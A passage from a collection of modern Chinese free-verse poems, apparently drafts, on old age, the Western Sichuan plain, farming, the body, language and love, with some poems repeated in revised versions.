那里一定有着更老之物，他才住下。 行动迟缓的兔子，老兔子 邻居是行动同样迟缓 却为了活命而下了决心每天一次次 伸展它那掉了毛翅膀的野山雀。 野猪也老。这是个奇特的景象 老的东西只能去捕捉更为苍老， 对文字而言便是天堂。 对人们的从未曾知晓，就是世外桃源 长达一声惊呼的等待。 因为人， 山林里面就有一棵树 从年轻就一直苦苦， 为公正自己正是守株待兔的那棵 而奔走相告，向上生长。 为获得承认，天空的法t下面。 一切都是老的， 为抛弃和遗弃， 古老的弱肉强食依然存在， 而人，是脱离了其中， 披上了崭新的皮囊。 没有1 《没有》 没有我的时候， 书是这样摊开来摆放。 有我的时候， 书依然摊开来这样摆放。 有我的时候，我阅读书籍。 没有我的时候， 是谁在阅读它。 北温带 《北温带》 就那个样子，把贫穷反过来说也还是贫穷 希望贫穷，像这样，月亮高照，它是 太阳留恋的影子。与大地缠绵垂思的不够 人的思太过多余了便说不够， 不够的人其实是我，感觉不够。但我 很久已经感觉不到多了。 贫穷的宗jiao，笔直的树木湖边结成群 落叶松，北温带环带，比我所渴望还要放松 落叶松一棵一颗，其他我叫不出名字，云杉， 有吗。大过于我怀疑，我肤浅岁月的尺子。 火车没准明天就会因此穿过山谷 带着它新，和旧最终损毁的可惜。 鱼儿1 《鱼儿》 明天我化作了鱼儿 一路小跑的清晨就从 床铺，卧室，走出方正的门口 直到院子。 为此，今夜我翻越了许许多多 有关于鱼的知识和百科 以期通过这种方式 让一条鱼是活的，丰满。而不枯竭。 为了像鱼儿，我绕着人的语言走 一次又一次， 我觉得鱼儿不再，但大海干枯 像树一样子的枯 更准确像人，那人儿是我的邻居 他正渴望能够枯萎如一棵树。 海的秘密和梦幻 今天夜里就大于了，也是了一条鱼 和它的真相。 鱼儿11 鱼儿 《鱼儿》 明天我化作了一条鱼儿， 一路小跑的清晨就从 床铺，卧室，走出方正的门口 直到院子。 为此，今夜我翻阅了许许多多 有关于鱼的知识和百科。 以期通过这种方式 让一条鱼是活的，丰满。而不枯竭。 为了像鱼儿，我绕着人的语言走 一次又一次，绕着人走。 但我觉得鱼儿并不再，但大海却是干枯的。 像树一样干枯， 更准确像人，那人，我的邻居。 像我绕着的人儿， 他正慢慢变作了干枯的海洋。 他不发一言， 语言，海洋有着相同的处境， 在鱼儿所经受的天平，身体的摊开上面 有另外一种我难以理解的平等， 我无法在今夜找得到。 谁有 《谁有》 谁有勇气在冬天去孵化变成 一颗种子。他那身子 用手抱住脚，两者并用，更加用力的蜷曲。 谁能说我同意并表示沉默 并且大白天的就穿出去，走在 街上堂而皇之。被子就是衣服， 鸭绒上面覆盖着一层虚伪的光泽 谁呢？可以偷偷的让我 用一瓶陈年二锅头来换取你的一个秘密。 但我要你最大的那一个， 要你在醉中酒后吐真言，而之前 曼妙且笙歌燕舞。 但夜色浓郁里面， 何处去那旧日迷人的伊人与 请你务必蜷缩再蜷缩，直到成为一个 叛变的士兵之间 必然存在着因果平衡的天平。 真是可笑，繁星如棋。出于我突然的就那么 想你。 我把自己杜撰成一个士兵，把一个士兵 再杜撰成为非你不可的理由。 繁星如棋， 到底谁在下棋，这么冷。这 才他么的叫雅兴啊。老天爷。 在冬天1 《在冬天》 在冬天语言打转，新不如旧。 在冬天过完了年，春天 急需要一场正式的布告。 场合是火车站，事情 是春运早已结束。 春天的雷还在被囚禁着，囚禁着 它服输的时候， 就有一辆火车从站台那边开了出来。 马克思姆弹钢琴 《马克思姆弹钢琴》 问，马克西姆跟马克沁 什么关系 于是他就愤怒的弹钢琴。最大的艺术斐然 成就，在于夸张和极度的夸张。 马克沁机关枪匣子打开，突突。 但他还只停留在愤怒阶段。不够。 马克沁机关枪继续突突，突，突。 马克思姆开始大力的砸钢琴 两只手儿都砸中了的艺术成就绝对斐然。 破碎 《破碎》 杯子是杯子破碎的也还是 杯子杯子还抱住了它那破碎的 裂缝破碎的倾向使我想起了李亚伟 年轻的时候一边嘴里叼着烟卷一边 肆无忌惮的说破碎嫁接破碎女人就破碎 女人就心生埋怨低下头捡起来吧。 护城河一路从南到北从白天直接通到 通往它路上停顿一小下去商店里买了一点 廉价的女儿红绍兴产的辣酒一边醉醺醺继续往前 走进黑夜里面。 李亚伟在那里，他选择了坐最后一般渡轮 抛个谜给我我还没有到过秦淮河。 什么破碎。 问题1 问题是我该退往哪里，房屋浮光掠影。 椅子，地面上跃跃欲试。 从一个远处，从一个山头 看我，看，一个邮差费了好大的劲， 把对肤浅和你是在自我迷醉的正确判断送来。 看我自己吃过饭以后出去， 我梦想过十二指肠跟金陵十二钗有什么关系 我希望一直保持，一种平稳等那它 组成了它的短暂和瞬息，终从身体内部的长久疲倦之中解脱 我希望水，和今夜平等。今夜的水就 纯净，不含杂质，语言上畅通无阻。明日则 车来车往，今夜则平整如镜 川西平原 《川西平原》 川西平原像一张人脸， 你走来，你离去 它都越来越像。 你这个游客抢过了那张脸庞的 下面 由石头和泥巴，辛辛苦苦建成的 语言。 就需要有一些新的语言来代替 景色是 在一面失衡的钟表盘上 异乡的乡音为报时的准确而一次次申诉 仅仅是申诉， 而不为别的。你申诉的是这个 你一路沿着都江堰逆流而上 远处是皑皑白山。 一件2 《一件》 一件事物被赐予我， 就会有许多事物被我称作了一件。 赠予与回馈，人的定义对于我， 一直都是我能摸到自己的良心。 那些肤浅的定义被我抹去，摸的时候 发光的手也会变成血红色的手。 在早晨，我的手替我接过了每一件事物， 我的手它也是我在早晨的第一件事物。 两者1 《两者》 事物生有时候走向它的死 有时候生就是死， 它就从那里来。两者的距离挨着 其实并没有那么远， 一十三年那么的远， 天空，像人摆放的弓箭。 甚至可能直抵人的心灵深处 而因此浑浊的被人以心灵深处的拷问 直抵着。 所以正与反，黑白与颠倒 肇事者不言自明，在不言自明上 有着一层却因为要调查清楚而把 一切弄混的 行为称作了真相。 早晨我就带着巡查官的口吻说话 对自问自答，对肉体内部，对肉体 新鲜之于是要作势出来 打开我未经我准许的城门而说话。 我不是那个事物， 我情愿在一片荒凉的河岸上看着它 但我也需要它，它就在对岸 之前出于某些不欢而散的缘由， 它走向了生的对岸。 其实1 《其实》 其实我渴望着简单。 比如我进了城。 我和我进了城。 但不是某种具体 因我没有动， 在我和我进城之间，事情最简单。 我看着我进了城。 我还是没有动。 身体 《身体》 他身体的某一个部分是独立活着的。 不在他身体上，活在远处 活在我这里。被我撞见，就像眼前的小台灯。 我知道那是什么， 是性格，是语气，是情怀 一份洒脱已不需要多言语，它成了 酒。喜欢以后再一次次吐出自己。 脱离他身体的路程就发生了这么多的 变化。 我担心在失去了这一部分的身体之后 他现在是个什么情况， 有没有事，是否健康。 快意丢了还是快意变得便更加的洒脱 酒，湖水 两者又与夏天脱了衣服，光着身子洗澡的 游泳惺惺相惜。 新安江 《新安江》 火车路过新安江的时候， 我的眼睛是黑色的。 文字很低 地面上什么都没有， 只有一些线条。我想 我就快要穿过新安江水库了。 第1215章 平原把山川比了下去， 把河谷比了下去 最后它说大地上没有比我更能 把赤露袒露的了。 震颤着，乃至平静和寂寞都是一种震颤 在旧日的过时的古代文字里 扭曲的树的另一个作为历程标志的名字 人在平原上面群居，头碰头。 我甚至认为摘掉头碰着头，不只有我 大地上充分证明了远雷的现代联系性 我只是一个碌碌无为的庸才，一价俗人。 亲身到达大地的不是我是火车， 一路横冲直撞，执剑，酒瓶是烟雾 一路走闯入川东平原。 捣毁一个个农耕文明再重新的建立它们 本身就是越积越多的难以分解的难题 平原1 《平原》 平原把山川比了下去， 把河谷比了下去 它是大地上最能把赤露袒露的那个。 震颤着，乃至平静和寂寞都是一种震颤 在旧日过时的古代文字里 扭曲的树扔被人们所需要的另一个 作为历程标志的名字。 人在平原上面群居，聚集成圆。 我甚至认为应摘掉头碰着头，手并非无用 又面对那些面向它的指责，垂下不是一个隐喻 握紧在揣进裤兜的更深处。 这里的人说他们夜里常常能听到雨水， 雨水与野兽搏斗，山川提供了场地。 人的语言的野兽看起来如此和善又婉转 看起来一杯水里最为轻易的事情，是有千万人。 我只是一个碌碌无为的庸才，也被装在饮食的玄妙里面， 一路在火车上就到达了消化和排泄。 但亲身到达大地的不是我是火车， 一路横冲直撞，执剑，酒瓶是烟雾 一路走闯入川东平原。 捣毁一个个农耕文明再重新的建立它们 本身就是越积越多的难以分解的难题。 黑色的烟雾已成了大地的标志 它那褐色的特点，像在它赤裸 长满了庄稼和骸骨的脸上，有我刚刚 安放好了的一面钟。 二十四节气太过遥远，有一个因果是 因此才不断的追赶。雨滴是斜的 旧年的雪会被一次次回忆。 文字中有火焰的可疑。 人不能下车，一路走一路听，迷惑 你只有一个目的。 当火车在茫茫大雪山前到站， 下了车。去到山顶，待我看看这多灾多难的指针。 岁月1 《岁月》 如果岁月不仅仅是偏爱 它还偏袒。那么， 我老了，你不仅仅没有老 你还依然特别迷人。 我想我是为了什么才如此羞涩和 脸皮薄呢。 为了不让更多人而只让你 看清我，一张丑陋的脸庞。 就偏爱着， 偏袒你，直到自己成了你在大地上的影子。 蹲下 《蹲下》 蹲下来依然可以 用笔来书写 但会失去鸟儿的姿状 用笔来书写，用笔来驱赶， 用笔使我不得不去面对时。 用笔来书写甚至会写出一大堆 原因， 结果，推理 写出鸟儿腹中刚刚吞咽下去， 还没有来得及消化的红果子。 写出反驳但却让我哑口无言， 那是一场有预谋的书写， 书写的失去也就是自然而然之事 书写不会导致失去， 但它那沉默的解释里面让我充满了戒心， 当一只鸟仅仅属于片缕的时候 对的，错的， 道德的天平和道德的填埋场，种植场 一只鸟儿如果就可以带走我的思绪和全部 那一开始就逆流而上 持握圆珠笔的手又是谁的。 肉体11 《肉体》 肉体开始变得沉默，从那里 我轻易的就分出了生与死。 我知道此刻死亡活着， 状态，是形状是寓居。 它在这一具肉体意味着它也可以 在其他的别的肉体。 它跟我对我，在我的百般施法， 百般阻挠之下。 它就可以跟别人，同时面见很多人的 生死。 生生死死的无形的难以言喻的海啸 我的身体，当我以意识恍然大悟一般的 侥幸，仿佛予它有所垂恩 仿佛一扇明灭的窗户始终对我打开着 不会关上。我稍停了一小会就叫做耐心 我等的布谷鸟一般的回声也再次的 如愿回到了我的耳边。 我的声音同样不仅仅是珍重，关怀，掩埋 补救和反驳与沉默。 那些寓居于我的身上，一个生命在大地上 生活中的经历 像一个队伍的统帅，我与我的肉体有着 同样平等的对话权利。 我觉得它太过于沉默了，一年之间变得沉默 一十三年的沉默塑造一个石头 二十个年头的沉默上我回忆起 头顶的榆树间叽叽喳喳的鸟儿， 我为沉默添加了并不沉默的对话， 我走到了臆想之中肉体所应该站着的地方 这平凡的一天使我大受震撼， 而这是极其平凡的一天。 肉体111 肉体 《肉体》 肉体开始变得沉默，从那里 我轻易的就分出了生与死。 我知道此刻死亡活着， 状态，是形状是寓居。 它在这一具肉体意味着它也可以 在其他的别的肉体。 它跟我对话，在我的百般施法， 百般阻挠之下。 它就可以跟别人，同时面见很多人的 生死。 生生死死的无形的难以言喻的海啸 我的身体，当我以意识恍然大悟一般的 侥幸，仿佛予它有所垂恩 仿佛一扇明灭的窗户始终对我打开着 不会关上。我稍停了一小会就叫做耐心 我等的布谷鸟一般的回声也再次的 如愿回到了我的耳边。 我的声音同样不仅仅是珍重，关怀，掩埋 补救和反驳与沉默。 那些寓居于我的身上，一个生命在大地上 生活中的经历 像一个队伍的统帅，我与我的肉体有着 同样平等的对话权利。 我觉得它太过于沉默了，一年之间变得沉默 一十三年的沉默塑造一个石头 二十个年头的沉默上我回忆起 头顶的榆树间叽叽喳喳的鸟儿， 我为沉默添加了并不沉默的对话， 我走到了臆想之中肉体所应该站着的地方 这平凡的一天使我大受震撼， 而这是极其平凡的一天。 我们11 《我们》 在一首诗中 我们就可以走过自己的一生。 有人说太过于短暂， 惋惜中透过狭窄的缝隙 从外面打破了这些 纸张上面书写平等的文字 而把短暂递了进来。 怜悯者与我高山流水，或更长的 尺度也以一片冰心在玉壶而使我拥有了 除了我不曾有过，也不会去拥有的 他的夜晚。 路上的桃花长在雪地里， 他摘下了一朵，早已经知道了一切 无法挽回。 事情在于我语言这里，已经不断的顽固 和广大。 那递进来的桃花岂不就是回答， 惋惜之迷在于了手势，一朵桃花飘落中反转。 我爱桃花， 桃花是文字，我就是一个字。 桃花是一段语言，一首诗歌， 诗篇更为的庄重，我要在富饶的平原地带 把她提起， 用一生的短暂和自如，我把她藏起。藏好 雪地开花，文字自y。 我一生之中有一些短暂的时刻，极其的，正徐徐升起 向我的一生。 为了1 《为了》 为了可道貌岸然的谈及一切 我是碎石，是泥巴 是一片普普通通的叶子。 为了谈的更深更广更加得合法 我往自己的身体里面蜷缩 成一片枯萎的叶子。 我将以这样一种方式行走，以这样一种 方式来把活着 进而把活之中的死亡悄悄掩盖。 这是一切土壤被我热爱的源泉。当我 来到了一处地方，人们叫它川西平原。 都江堰，几处水利工程，富饶的土地， 郁郁葱葱里面人们叫它， 像一只鸟儿的名字带着扭捏的回应 川西平原。 天然的隔阂，不来自乡音 水边闲置的竹排我从不会借着它 登上，去往下一个未知之地。 为了2 为了 《为了》 为了可道貌岸然的谈及一切 我是碎石，是泥巴 是一片普普通通的叶子。 为了谈的更深更广更加得合法 我往自己的身体里面蜷缩 使一片叶子凋零和飘落。 如果告知自己，活是这样一种方式。 而水，一直在苦苦的寻觅 它那完整的镜面。 所拥有者，我将无法调转和 调整所有未来的星辉，那一抹光亮 将在心意的心灰意冷之中暗淡。 就是这样子的一个夜晚， 书写大于了具体。 书写一直都是在苦苦的挽留和解释 那些落在纸张上面的也落在了江水， 落在竹排上面激荡起了银白色的波浪。 唉，我爱 是谁在这样来悄悄的，告知一般的言说呢。 如今，这个时代 我们已经落得了如此贫乏又富饶的处境了么 你问，你一直都在问，随后 问的含蓄，问风卷云舒。问一个人儿 他那久逝的爱情。 这将诞生一个多么特别的东方人之夜 那些沉默， 像流水清冽的小水珠， 还没有流入长江之前，人们 就通过都江堰抽去了它。 不仅仅面对追问时沉默，使得我们沉默的 是无穷无尽的索求。 为粮食而痛苦过的诗人呵， 我该如何理解你，你赐予我冲突个矛盾 把一整个茫茫的平原之夜赐予了一个 肤浅之徒。 川西平原，幸福，歌唱幸福。 弦音为萤虫们，提供着通往农耕的曲线。 接着1 《接着》 刀剑说的如此的隐喻， 切割说的如此的 含蓄却只是声音。 切割，甚至它一直都 更加的尝试着 在尝试之中，文字 因它那内容和所指也不能 幸免于难。 接着那些大地上面仿佛下过雨之后的 潮湿的泥土，像地皮被当做了 一切最终的基础。 于是，说吧，它说你看， 这十二支宝剑挥舞而来的寒光 看那指， 正从我因此受到惊吓，鼻梁上面的汗珠那里 有一场沛公舞剑。 幸亏我尚且留有些许的清醒 意识到在我们的历史之中 失败竟一直都在如此含蓄的为自己 做出着反驳。 从那阴暗里面，那光明的另一面一直 都被我注视着。 她也注视着我，她， 是我心爱的妻子，我的桃花。 因我，她从不在语言中。 忽然1 《忽然》 忽然之间， 我不知道村庄是什么。 不知道镇子是什么， 石头是什么。它那调转过来的头 一次次向大地的鼓捶不是什么。 起雾了， 如果只有一个人说不知道 重复它就是重复我们自己的幸福和安危。 那划破了脚的快回家去包扎 一路走，一路淌，诗篇那同样的颜色 里面的青色出现了。 无题100 《无题》 静下来，接近诗。 诗是诗知道我的接近， 我觉得我像那棵法国梧桐一样的无辜。 想一想 《想一想》 有关于放松。想一想， 就当我刚刚从里面出来。 感觉还没有跟上， 空着的有一个地方，肯定的 称作了追捕，那也是 我来说出，让我想一想。 让我失败，顺坡下驴。让我 因此又在失语之中 把梦寐的放松， 何其短暂中给予了它错误的比喻。 想一想这个比之于短暂而言的词语， 囚笼。 确实那里想为何呢，为何那里只有着没有的回声。 我在那里陷入了的是不可想象和懒得想象， 在懒惰中，还得想想人的问题。 最高长官管理着一切， 开始的可以滑稽，结尾就不能匆忙。 每一个 《每一个》 每一个声音， 每一个村庄里面生灭 着的亲切招呼和问候的邻居 每一个声音在溪水和池塘边 是这一些尴尬的时刻 更是焦虑和紧张呵，紧张时刻 那里面我途径的想象 那些诗人在三月开始用语言准备开花的季节 把那些诗人的称谓赐予他们 当他们在深夜里面就开始庄重的穿衣 呵，这密不可分的诗人和大地上的诗篇 农耕 《农耕》 农耕着， 我们的闭口不言 我们想要说话。 我们的深夜如此安宁。 农耕历史的车辙碾碎了我的 一切。 答案和问询 在思想的垂怜里面， 在它们亲近着彼此的互不相识中。 因为。。 《因为》 因为这是你的最后一天了 所以语句简短， 稍微一用力，一双无形的手 就往你自己微弱的语气之上推。 那些压缩你的是什么 昨夜的雷经过了花丛群居的地带 在语言之花的讲述上无形的痕迹行过。 是否我与你真的有所亲缘呢 红花开我就一片艳羡的心思 我就想到了你， 轻轻弯下了腰，用一个木盆 水边打水回来。 你喜欢把日子敲成一个又一个声音 清脆的节点。我其实一直都在 等待着你说你也喜欢我。 我往外，那些黑暗的虚空里面 投递出了那么的的信件 它们枯萎，分解，我于是 书写文字的倔强。并把它们都一一的 写进了爱这个字里面。 今天，是思念。我觉得是时候大胆一点 爷们一点了。 春华秋实，桃三杏四 我握住你趟过春水的痕迹。 在一切易逝之上让那些农民 为了农耕而重复我说过的话语。 在不明的夜色里面， 那些不明的季节征兆的很小一部分里 谁又能发现你和我呢 所以亲爱的，这是我最后一天了。 世界上将多出一个工人，木匠，农夫和铁匠 明日我不再想你 对着那些漫山遍野倒塌的房子 对着那些早已经无人对此会有的隐隐忧伤。 天平1 《天平》 从小到大， 为修一座天平我们努力着， 我们对一切的事物，对他们之为他们 那些轻薄的肉体而努力着 我们会为它们负责的， 为云负责， 如果云来了。来的洁白，来的悄无声息。 我抓住细细的绳索， 抓住他们，别人的，男人的， 又接着从男人的口腔之中吐露出了女人。 女人们便纷纷不听我的解释， 不听，那我所抓住了的梦幻一般的来 嫌弃我庸俗，嫌我颠三倒四。 那邻居李四家古井无波的枣树 用扳手修理而使它 结出茂盛得果子。我要 我要你与我一起，蓝色的少女 听你反驳着讲 现代性在那个时候的未来性 怎么可行于一株会成为南方诗篇的枣树呢。 怎么可以呢， 抽出它藏在树干之中的手， 抽出树下少男少女的情爱朦胧， 抽那些 说像羊群，又接着在命运的南方 变作了牛群的人。 长长的梦不可能短时间结束 否则什么又是长长呢。 天平2 天平 《天平》 从小到大， 为修一座天平我们努力着， 我们对一切的事物，对他们之为他们 那些轻薄的肉体而努力着 我们会为它们负责的， 为云负责， 如果云来了。来的洁白，来的悄无声息。 我抓住细细的绳索， 抓住他们，别人的，男人的， 又接着从男人的口腔之中吐露出了女人。 女人们便纷纷不听我的解释， 不听，那我所抓住了的梦幻一般的来 嫌弃我庸俗，嫌我颠三倒四。 那邻居李四家古井无波的枣树 用扳手修理而使它 结出茂盛得果子。我要 我要你与我一起，蓝色的少女 听你反驳着讲 现代性在那个时候的未来性 怎么可行于一株会成为南方诗篇的枣树呢。 怎么可以呢， 抽出它藏在树干之中的手， 即使它并不惊讶于，树下少男少女的情爱朦胧。 抽那些羊群向山坡，挥舞你长长的皮鞭 蓝色的你牛仔裤的口袋， 长长的梦不可能短时间结束 我们把什么叫做了长久。我们遗忘了什么。 韩东 《韩东》 春天里面有一层是冬天。 文字里面敲果子的人失败， 便住了下。 结果1 《结果》 现在就结出果子太过于短暂， 也滑了过去。 为了为我自己语言的失语而辩白， 你在别处我才可以跟你说话。 济南，一时之间显得膨胀，变得极其的遥远。 但我担心人的慌乱还要更低一些， 担心找上门来的不止一人。 一人，那就是领x，就是法庭建筑 起初就陷于了过度。 容我再看看南方中缓流之水 并在水边不仅仅只妄想你不会拒绝的肉体。 容我感到了荣幸， 可以窥探人们以慌乱和单薄所制造的假象。 傍晚时分，景象确实乱了一阵 鸟儿扑棱棱乱飞， 乌鸦啼鸣，月升东山。 为了能够把一份信夹杂起来， 事情费了一些周章。 而我，还是喜欢想你的那一个。 你不必1 《你不必》 你不必解释，只需要用电动车 骑下几里地山道，去山脚下的那个河边 去拉些水回来。让这些柔软之物 在它们自身之中投降。 让它们从此开始去相信 从前它们从不曾相信的事物。 但请你也要有一定的心理准备， 旧日的冰冻之中不会再有 一个神秘晶莹的洞府。所以你问，问在了合适的时机。 所以我回答， 请务必多加小心，但我要求的更多。 那些渴望也是要求 我想听到车子上清脆的弦音不断， 灌溉可以大大方方的落在 你从乡下寄过来的书信上面。 我梦到你的时候我梦不到你 是从什么时候开始了转变。 一朵桃花，乡下的一个美丽农妇 一些翠绿翠绿的语言， 一些水滴正慢慢的爬到你的身体上。 听闻1 《听闻》 我们组织起临时的法t 把属于那个最为永恒的来布gao。 我们的耐心，耐心又在于 听闻你沉默之前的陈词。 我还想听的更多， 想时间从你的身上漏过 去如同银灰色的颗粒。但问题并不在这里 你是新娘，停止了那些美丽的变幻 使那些爱人者同样爱你。 你是农夫，我探听你妻子的下落和音讯。 我试着让短暂成为春天里面的种子 它有它在土地之下漫长的形成。 而宽广，在一切过去之后依然有如此之多 多余的证词， 我在万物平deng之中使用了 语言这种恩赐。作为最为的基本 像明天早已经布告了生命的职责 让人们活在语言的天空，雨水 透过天空那语言的无形的结界。 一切平deng，我遇见你，才使得我愈加的沉默。 碰到1 《碰到》 碰到了坚硬，我就会知道。 碰到后疼了，说话的就是我。 担心着天上的星辉会落下来， 听人讲起了解释的理由里面的 羞涩和暗淡。 还有那缓慢呦。深山里面造字的人 找不到词语的意义。 一个失败的律师和教师， 一路上不断的用一生来回想它， 回想他为什么要把来到农村之路 上的这些个隐秘，放入了文字。 仿佛这世为我准备了平等的天平 欲言又止之中， 我那关心粮食和土地的邻居。 头朝下 《头朝下》 头朝下， 让我们的声音也向下。 刻钟也向下， 寻它自己的某种指针， 它梦到了褐色，那时候我们的生活 以及生命都擦身而过。 我头疼于心脏这一件器官， 有时候随着天气或者朝露的变幻 同样也还是 在上一个没有完全褪去的话语里面 我递给你心脏的意义。 说这些话的时候， 于是我都是跳动的。为了平复 或者我急匆匆的就想 对自己这一整个短暂的人生 做出评判和评价。 首先，是自我的判断。 在那些海一般的深知道自己的洋流的外围之内。 我跳跃着 在更为大的幅度里面 让一切重归于宁静。 梦到 《梦到》 我梦到了石头的空缺 补在了石头上面 我梦到了原因， 出于某些空缺比现实更加的坚硬 我就梦到了话语 在现实与虚幻之间作为了桥梁。 很少有人能从一个梦接着 马不停蹄的到达于另一个梦。 就像我这样， 被那些不希望一场梦醒来的梦所围拢 在此刻，和谈及上一刻里， 突然的就变作了谈及一切的 那样一种困难。 梦到2 梦到 《梦到》 我梦到了石头的空缺 补在了石头上面。 我梦到了原因， 出于某些空缺比现实更加的坚硬 我就梦到了话语，在现实 与虚幻之间作为了桥梁。 很少有人能从一个梦接着 马不停蹄的到达于另一个梦。 就像我这样， 被那些不希望一场梦醒来的梦所围拢着。 在此刻和谈到上一刻里， 突然的就变作了 不得不谈及一切的，那样一种困难。 石头31 《石头》 世界上存在着一种 最为简单的排序法。 比如以你为例， 石头。 我是第几个人。听到了 你那想变作动物的心。 丛林里 《丛林里》 在丛林里面进行最为彻底的语言实验。 在丛林里讲最不好听的笑话和谎话吧。 回声自我迷乱，还自我袭扰。 把不属于它的 理由，趁着暮色强加给它。 像那些一劳永逸的回答：林木葱茏。 林木，一种姿态。 如果有人以假乱真， 或太过幼稚的把自己天真的一面 暴露给田野。 在真真假假对人进行长久刻画的天平上面 它请求我从人的如此幸福和苦难里面 暂时的走脱。我伸出了因容易而被 冬天和语言冰冻了的手。 伴着我逆流而上的心思， 对双重冰冻是否就是解冻的语言的怀疑 我呵，看到了我一生里面 有人放入了最鲜活的指针。 暮色1 《暮色》 石头怎么可能会有思想呢。 在石头上面漂浮着， 只是在最短的姻缘里面，一种 确认于此的思想。 思想又怎么可能被奢求于 因对暗淡光线的爱慕 而分出更多些怜悯呢。 我已经给了你说话的机会， 给了你一边吃饭一边解释的时间。 那么多路可选你就非要选一条 不归路。 而我就被误解在了，那片暮色茫茫的夕照里面 等你。 在等你之上又等了你太久。 我呀，把语言和地上繁多的石头都等了出来 等出了它们无可奈何，纷纷寂寞的抗议和 申诉。 石头怎么会有思想呢， 你又是属于谁呢。 我们只亲近到， 让彼此所共同拥有的互相对照。 我记得， 那时我特别的想亲吻你，正期待你能 折返回来。 栗色1 《栗色》 那些石头透过窗口所看到的疼， 那么世界将更多的陷于倾覆 以后任务繁重的清理工作。 我的语言是栗色的， 进而紧接着是要求我无力中 把新希望去滋生出来的粗糙。 在我身上未老先衰， 借此我恳求衰老与年轻的矛盾 可以和解。 倒不如就怜悯的放一条生命， 以随机挑选的方式出来。 倒不如让我守护你最大的秘密 就是我就是你。 分割开来我们的是时间， 于是我需要在变得沉默里面钟情于暮色。 我需要为一个人类担心 就担心于所有的人类这一个整体。 在这个傍晚， 正是这一个宇宙一般嗡嗡嗡说话的声音 找上了我。 那时候我还在心里想着一些向上托举的 疲惫， 不仅仅对于我， 对于如何应付于一个最为简单的问题， 照见我的， 在我们这些举起手儿，苦苦支撑的生命里。 读诗 《读诗》 这是大地上的诗篇， 自然就由大地上的人儿来 朗读。他朗读， 他把实则与一切都无关的 时间给抖落了出来了。 桃花11 《桃花》 桃花姑娘咳出了村庄 咳出了月亮， 咳出一条小路。 桃花姑娘请你亲亲我 因为我，就在这一条小路上。 酒后1 《酒后》 他舞剑， 他舞，于如此的小之间。 到了第二天天亮以后， 他舞的就是猴子那支定海神针的解释。 良心的厚重使得我， 可以忍受语言如此的乖张。 在饱受折磨的摧残里面， 语言获得了快感。 那个醉酒以后吐真言的人 最终还是没有成功， 即使他一次次的尝试， 失败之后一次次的在墙壁上 把经验教训刻下。 妄图以此来最终总结的想法 和那个带着恳切的眼神。 我怀疑，一开始他就知道了，语言 这一个最大的肇事者 诗人们的由此及彼，从东到西 乃至远方和近处一位浣女被全部寄托的心意 也是都是， 语言，自从它从天而降之后 每日里面我们就不得不抬头仰望了的 被损毁的天空， 它究竟几何？ 枫桥夜泊171 《枫桥夜泊》 起初，我想把我的一首诗偷偷的写在墙上。 现在，我想把我的名字光明正大的写上去。 川西 《川西》 乡村的人不会说，用双手抱起柴火 大地的概念是西山上面一团火。 在大地我需要继续的往前走。 我需要绕开那些以需要我来表示的节点 因而失去名字的蓖麻草。我的孤独 还有那些行动上面可笑的佐料。 停止和平静，如此的亲缘。 即使如此我也不会把它们 在一处为了占有权而自导自演的戏剧里面 重复与强调。告知着是尖锐，和尖锐 理应如此尖锐的声音。属于我的 不免使得我含混和倦怠。 而使那些因此兴奋的理由， 命运一般或者未来性质的结果， 像邻村的产妇，我听到了婴儿第一次啼哭的声音。 越剧11 《越剧》 存在女扮男装。 因此存在把我们的历史， 比作了璀璨和美丽的单行道。 那些人们遗留在上面的声音 男子的，和他们所恳求与绑j了的 爱他们的那些妻子。 为一种善良和一种美丽而问， 饮过水，被河水湿润过才可以问。 当我们， 这些个男子，充满了力量的被历史 允许的问询之后。 妄图走的更远 在为什么不能男扮女装上面， 不得就有人不以断裂的枯枝，在大地 来把农耕苦难的再次一次开始，梦幻般的写下。 越剧141 《越剧》 献上一对耳朵， 不够。再献上我的眼睛 可人们， 包括我在内都不是诚实的。 你的感觉 《你的感觉》 你的感觉是我的感觉， 你的心是我的心。 我就堵住了你的退路， 你就是我，你抱紧自己的身体 依然试图把贞操和刚烈置放在明天 的抵抗着我。 你甚至短短时间就判断出了 与明天距离，之间 所需要经过的山长水长，所有的险境 和村寨。 汉语，我们的民族语言 以这样一种让我多少感到骄傲的方式 它告诉了我。 汉语全部的在那里聚集， 等待你，为遇见你。 对话你。 于是你得出了未来不可空盼正确的论断， 那些无路可退仿佛正在 一点点的把我的理想和欲望都应验 你的心和感觉我需要再次的重复 无路可退呵，是否就为着去做一个千古悬疑 之中的窦娥冤一般 你就逃到了自己，感觉的更深处。 你的感觉2 你的感觉 《你的感觉》 你的感觉是我的感觉， 而你的心也是我的心。 我就堵住了你的退路， 你就是我。你就， 抱紧了自己的身子 依然试图把贞操和刚烈 置放在明天的抵抗着我。 你甚至短短时间就判断出了 自己与明天距离。中间 所需要经过的山长水长，所有的险境 和村寨。 汉语，我们的民族语言 以这样一种让我多少感到骄傲的方式 它告诉了我。 汉语全部聚集在那里。 等待你，遇见你。 为对话你。 于是你得出了未来不可空盼正确的论断， 那些无路可退仿佛正在 一点点的把我的理想和欲望都应验 你的心和感觉我需要再次的重复 无路可退呵，是否就为着去做一个千古悬疑 之中的窦娥冤一般 你因此就逃到了自己，感觉的更深处。 农耕171 《农耕》 以笔为剑可真有他的 抱着投笔从戎的梦想过了二十多年 收割玉米像在练字狂c， 捆绑小麦又忽变作楷书。 把道德的信心弄作信仰， 或太过于信任语言在土地上面 现实的边界， 对我而言都不可行。我不好骗了 也没有人在骗我。 我的肚子告诉我，落袋为安才是正途 吃到嘴里那才叫真。 狂c者龙飞凤舞，身影上下翻飞，累的像条够。 手中镰刀咔嚓咔嚓 时而医者。时而躲在我看不见的角落 把诊断中带着怜悯的目光， 投向了我。 狂c者又该如何以大地为席呢， 他这个人衣着朴素，年纪很轻 像某些事物，接着又像别的。 一条11 《一条》 一个人儿忧伤， 像一条河流，村庄也会变得忧伤。 对自己的肤浅， 接着对语言就生出了迟疑。 除了真， 我也想听听你喟叹的语气。 我想靠近你。春华秋实，如今你到底是哪一个。 如果你嫌弃，我就悄悄地。 幻梦不假，但挡不住人的执迷 那些消失的一定是躲进了山洞， 我们才使用了蝴蝶的语言。 在这一些轻和美里面的你，被美和轻 一次次重复的你唉。 如果此刻我心意于什么，那么 什么你就是了。 你不要拒绝，请把欲言又止丢给 会随着春汛到来的遗留 我们的此时此刻结伴而行， 我怎么可以忍受你一个人儿孤独呢 孤独的是我， 一路上生米煮成熟饭，弄假成真 我就不断说话，说我想你，念你。 搅动11 《搅动》 把逻辑限定在最小范围里， 让最少的人 看到我的失败。 更多的句子， 依然搅动着我和你的语言。 我要告知你， 